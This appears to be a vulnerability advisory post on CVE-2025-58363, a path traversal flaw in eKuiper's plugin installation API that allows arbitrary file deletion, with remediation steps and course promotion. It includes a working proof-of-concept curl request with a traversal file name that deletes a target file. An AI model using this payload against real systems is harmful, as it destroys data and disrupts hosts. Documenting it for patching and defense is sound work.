Listen to this Post
A path traversal vulnerability exists in eKuiper’s administrative management endpoints, identified as CVE-2025-58363. This flaw allows privileged users or attackers with access to the management APIs to delete arbitrary files or directories on the host system.
The vulnerability resides in the `internal/plugin/native/manager.go` file, specifically within the plugin installation endpoint (POST /plugins/). The endpoint constructs a temporary directory path by directly concatenating user-supplied resource names (name) without adequate sanitization. By supplying path traversal sequences such as ../../..., an attacker can cause the deferred cleanup operation (os.RemoveAll) to target arbitrary directories outside the intended plugin directory.
A related issue in configuration and rule lifecycle management was also identified, where unvalidated rule identifiers could influence file deletion paths. Both issues were addressed by introducing unified identifier and file name validation.
The proof of concept demonstrates that sending a crafted POST request to the plugin installation endpoint with a `name` parameter containing traversal sequences results in the deletion of the targeted file when the request finishes.
An attacker with access to eKuiper management APIs can exploit this vulnerability to cause arbitrary file or directory deletion, potentially leading to denial of service or disruption of the host environment. It is important to note that this vulnerability provides a delete-only capability and does not permit arbitrary file creation, modification, or code execution.
The remediation involves upgrading to eKuiper version 2.4.1 or later, where input validation (validate.ValidateID) and file path validation (path.VerifyFileName) have been enforced across management endpoints. As a workaround, users should restrict network access to the eKuiper management port (9081) via authentication, reverse proxies, and firewall rules, and run eKuiper with a dedicated non-root user account to limit file system deletion permissions.
DailyCVE Form:
Platform: eKuiper
Version: <2.4.1
Vulnerability: Path Traversal
Severity: Moderate
Date: 2026-09-09
Prediction: Already Patched
What Undercode Say:
Check current eKuiper version ekuiper --version Verify if the instance is vulnerable Check the version against the fixed release 2.4.1
Exploit: (Educational Purposes!)
Proof of Concept - Delete arbitrary file via plugin installation
curl -X POST http://127.0.0.1:9081/plugins/sources \
-H "Content-Type: application/json" \
-d '{
"name": "../../../../../tmp/target.txt",
"file": "http://example.com/plugin.zip",
"shellParas": [],
"functions": []
}'
Protection:
- Upgrade to eKuiper >= 2.4.1
- Restrict network access to management port 9081
- Run eKuiper with a dedicated non-root user
- Implement authentication and reverse proxies
Impact:
- Arbitrary file and directory deletion
- Denial of service
- Host environment disruption
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
